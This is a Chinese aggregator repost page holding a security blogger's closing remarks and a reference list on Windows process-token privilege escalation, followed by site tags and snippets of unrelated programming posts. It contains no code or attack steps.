學安全一年,認識了很多安全大佬和朋友,希望大家一起進步,這篇文章中如果存在一些不足,還請海涵,作者作為網路安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章,同時非常感謝參考文獻中的安全大佬們的文章分享,深知自己很菜,得努力前行,

(By:Eastmount 2020-09-12 星期一 晚上11點寫于武漢 http://blog.csdn.net/eastmount/ )



2020年8月18新開的“娜璋AI安全之家”,主要圍繞Python大資料分析、網路空間安全、人工智能、Web滲透及攻防技術進行講解,同時分享CCF、SCI、南核北核論文的演算法實作,娜璋之家會更加系統,并重構作者的所有文章,從零講解Python和安全,寫了近十年文章,真心想把自己所學所感所做分享出來,還請各位多多指教,真誠邀請您的關注!謝謝,

在這里插入圖片描述

參考文獻:
[1]《Windows黑客編程技術詳解》甘迪文老師
[2] 行程訪問令牌權限提升 - 自己的小白
[3] windows行程提權(C語言實作) - zzkdev
[4] https://www.freebuf.com/sectool/175551.html
[5] https://blog.csdn.net/Simon798/article/details/107051801/

轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/28684.html

標籤:java

上一篇:幾道misc題

下一篇:數學建模是如何反作弊的?

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 【C++】Microsoft C++、C 和匯編程式檔案

    ......

    uj5u.com 2020-09-10 00:57:23 more
  • 例外宣告

    相比于斷言適用于排除邏輯上不可能存在的狀態,例外通常是用于邏輯上可能發生的錯誤。 例外宣告 Item 1:當函式不可能拋出例外或不能接受拋出例外時,使用noexcept 理由 如果不打算拋出例外的話,程式就會認為無法處理這種錯誤,并且應當盡早終止,如此可以有效地阻止例外的傳播與擴散。 示例 //不可 ......

    uj5u.com 2020-09-10 00:57:27 more
  • Codeforces 1400E Clear the Multiset(貪心 + 分治)

    鏈接:https://codeforces.com/problemset/problem/1400/E 來源:Codeforces 思路:給你一個陣列,現在你可以進行兩種操作,操作1:將一段沒有 0 的區間進行減一的操作,操作2:將 i 位置上的元素歸零。最終問:將這個陣列的全部元素歸零后操作的最少 ......

    uj5u.com 2020-09-10 00:57:30 more
  • UVA11610 【Reverse Prime】

    本人看到此題沒有翻譯,就附帶了一個自己的翻譯版本 思考 這一題,它的第一個要求是找出所有 $7$ 位反向質數及其質因數的個數。 我們應該需要質數篩篩選1~$10^{7}$的所有數,這里就不慢慢介紹了。但是,重讀題,我們突然發現反向質數都是 $7$ 位,而將它反過來后的數字卻是 $6$ 位數,這就說明 ......

    uj5u.com 2020-09-10 00:57:36 more
  • 統計區間素數數量

    1 #pragma GCC optimize(2) 2 #include <bits/stdc++.h> 3 using namespace std; 4 bool isprime[1000000010]; 5 vector<int> prime; 6 inline int getlist(int ......

    uj5u.com 2020-09-10 00:57:47 more
  • C/C++編程筆記:C++中的 const 變數詳解,教你正確認識const用法

    1、C中的const 1、區域const變數存放在堆疊區中,會分配記憶體(也就是說可以通過地址間接修改變數的值)。測驗代碼如下: 運行結果: 2、全域const變數存放在只讀資料段(不能通過地址修改,會發生寫入錯誤), 默認為外部聯編,可以給其他源檔案使用(需要用extern關鍵字修飾) 運行結果: ......

    uj5u.com 2020-09-10 00:58:04 more
  • 【C++犯錯記錄】VS2019 MFC添加資源不懂如何修改資源宏ID

    1. 首先在資源視圖中,添加資源 2. 點擊新添加的資源,復制自動生成的ID 3. 在解決方案資源管理器中找到Resource.h檔案,編輯,使用整個專案搜索和替換的方式快速替換 宏宣告 4. Ctrl+Shift+F 全域搜索,點擊查找全部,然后逐個替換 5. 為什么使用搜索替換而不使用屬性視窗直 ......

    uj5u.com 2020-09-10 00:59:11 more
  • 【C++犯錯記錄】VS2019 MFC不懂的批量添加資源

    1. 打開資源頭檔案Resource.h,在其中預先定義好宏 ID(不清楚其實ID值應該設定多少,可以先新建一個相同的資源項,再在這個資源的ID值的基礎上遞增即可) 2. 在資源視圖中選中專案資源,按F7編輯資源檔案,按 ID 型別 相對路徑的形式添加 資源。(別忘了先把檔案拷貝到專案中的res檔案 ......

    uj5u.com 2020-09-10 01:00:19 more
  • C/C++編程筆記:關于C++的參考型別,專供新手入門使用

    今天要講的是C++中我最喜歡的一個用法——參考,也叫別名。 參考就是給一個變數名取一個變數名,方便我們間接地使用這個變數。我們可以給一個變數創建N個參考,這N + 1個變數共享了同一塊記憶體區域。(參考型別的變數會占用記憶體空間,占用的記憶體空間的大小和指標型別的大小是相同的。雖然參考是一個物件的別名,但 ......

    uj5u.com 2020-09-10 01:00:22 more
  • 【C/C++編程筆記】從頭開始學習C ++:初學者完整指南

    眾所周知,C ++的學習曲線陡峭,但是花時間學習這種語言將為您的職業帶來奇跡,并使您與其他開發人員區分開。您會更輕松地學習新語言,形成真正的解決問題的技能,并在編程的基礎上打下堅實的基礎。 C ++將幫助您養成良好的編程習慣(即清晰一致的編碼風格,在撰寫代碼時注釋代碼,并限制類內部的可見性),并且由 ......

    uj5u.com 2020-09-10 01:00:41 more
最新发布
  • Rust中的智能指標:Box<T> Rc<T> Arc<T> Cell<T> RefCell<T> Weak

    Rust中的智能指標是什么 智能指標(smart pointers)是一類資料結構,是擁有資料所有權和額外功能的指標。是指標的進一步發展 指標(pointer)是一個包含記憶體地址的變數的通用概念。這個地址參考,或 ” 指向”(points at)一些其 他資料 。參考以 & 符號為標志并借用了他們所 ......

    uj5u.com 2023-04-20 07:24:10 more
  • Java的值傳遞和參考傳遞

    值傳遞不會改變本身,參考傳遞(如果傳遞的值需要實體化到堆里)如果發生修改了會改變本身。 1.基本資料型別都是值傳遞 package com.example.basic; public class Test { public static void main(String[] args) { int ......

    uj5u.com 2023-04-20 07:24:04 more
  • [2]SpinalHDL教程——Scala簡單入門

    第一個 Scala 程式 shell里面輸入 $ scala scala> 1 + 1 res0: Int = 2 scala> println("Hello World!") Hello World! 檔案形式 object HelloWorld { /* 這是我的第一個 Scala 程式 * 以 ......

    uj5u.com 2023-04-20 07:23:58 more
  • 理解函式指標和回呼函式

    理解 函式指標 指向函式的指標。比如: 理解函式指標的偽代碼 void (*p)(int type, char *data); // 定義一個函式指標p void func(int type, char *data); // 宣告一個函式func p = func; // 將指標p指向函式func ......

    uj5u.com 2023-04-20 07:23:52 more
  • Django筆記二十五之資料庫函式之日期函式

    本文首發于公眾號:Hunter后端 原文鏈接:Django筆記二十五之資料庫函式之日期函式 日期函式主要介紹兩個大類,Extract() 和 Trunc() Extract() 函式作用是提取日期,比如我們可以提取一個日期欄位的年份,月份,日等資料 Trunc() 的作用則是截取,比如 2022-0 ......

    uj5u.com 2023-04-20 07:23:45 more
  • 一天吃透JVM面試八股文

    什么是JVM? JVM,全稱Java Virtual Machine(Java虛擬機),是通過在實際的計算機上仿真模擬各種計算機功能來實作的。由一套位元組碼指令集、一組暫存器、一個堆疊、一個垃圾回收堆和一個存盤方法域等組成。JVM屏蔽了與作業系統平臺相關的資訊,使得Java程式只需要生成在Java虛擬機 ......

    uj5u.com 2023-04-20 07:23:31 more
  • 使用Java接入小程式訂閱訊息!

    更新完微信服務號的模板訊息之后,我又趕緊把微信小程式的訂閱訊息給實作了!之前我一直以為微信小程式也是要企業才能申請,沒想到小程式個人就能申請。 訊息推送平臺🔥推送下發【郵件】【短信】【微信服務號】【微信小程式】【企業微信】【釘釘】等訊息型別。 https://gitee.com/zhongfuch ......

    uj5u.com 2023-04-20 07:22:59 more
  • java -- 緩沖流、轉換流、序列化流

    緩沖流 緩沖流, 也叫高效流, 按照資料型別分類: 位元組緩沖流:BufferedInputStream,BufferedOutputStream 字符緩沖流:BufferedReader,BufferedWriter 緩沖流的基本原理,是在創建流物件時,會創建一個內置的默認大小的緩沖區陣列,通過緩沖 ......

    uj5u.com 2023-04-20 07:22:49 more
  • Java-SpringBoot-Range請求頭設定實作視頻分段傳輸

    老實說,人太懶了,現在基本都不喜歡寫筆記了,但是網上有關Range請求頭的文章都太水了 下面是抄的一段StackOverflow的代碼...自己大修改過的,寫的注釋挺全的,應該直接看得懂,就不解釋了 寫的不好...只是希望能給視頻網站開發的新手一點點幫助吧. 業務場景:視頻分段傳輸、視頻多段傳輸(理 ......

    uj5u.com 2023-04-20 07:22:42 more
  • Windows 10開發教程_編程入門自學教程_菜鳥教程-免費教程分享

    教程簡介 Windows 10開發入門教程 - 從簡單的步驟了解Windows 10開發,從基本到高級概念,包括簡介,UWP,第一個應用程式,商店,XAML控制元件,資料系結,XAML性能,自適應設計,自適應UI,自適應代碼,檔案管理,SQLite資料庫,應用程式到應用程式通信,應用程式本地化,應用程式 ......

    uj5u.com 2023-04-20 07:22:35 more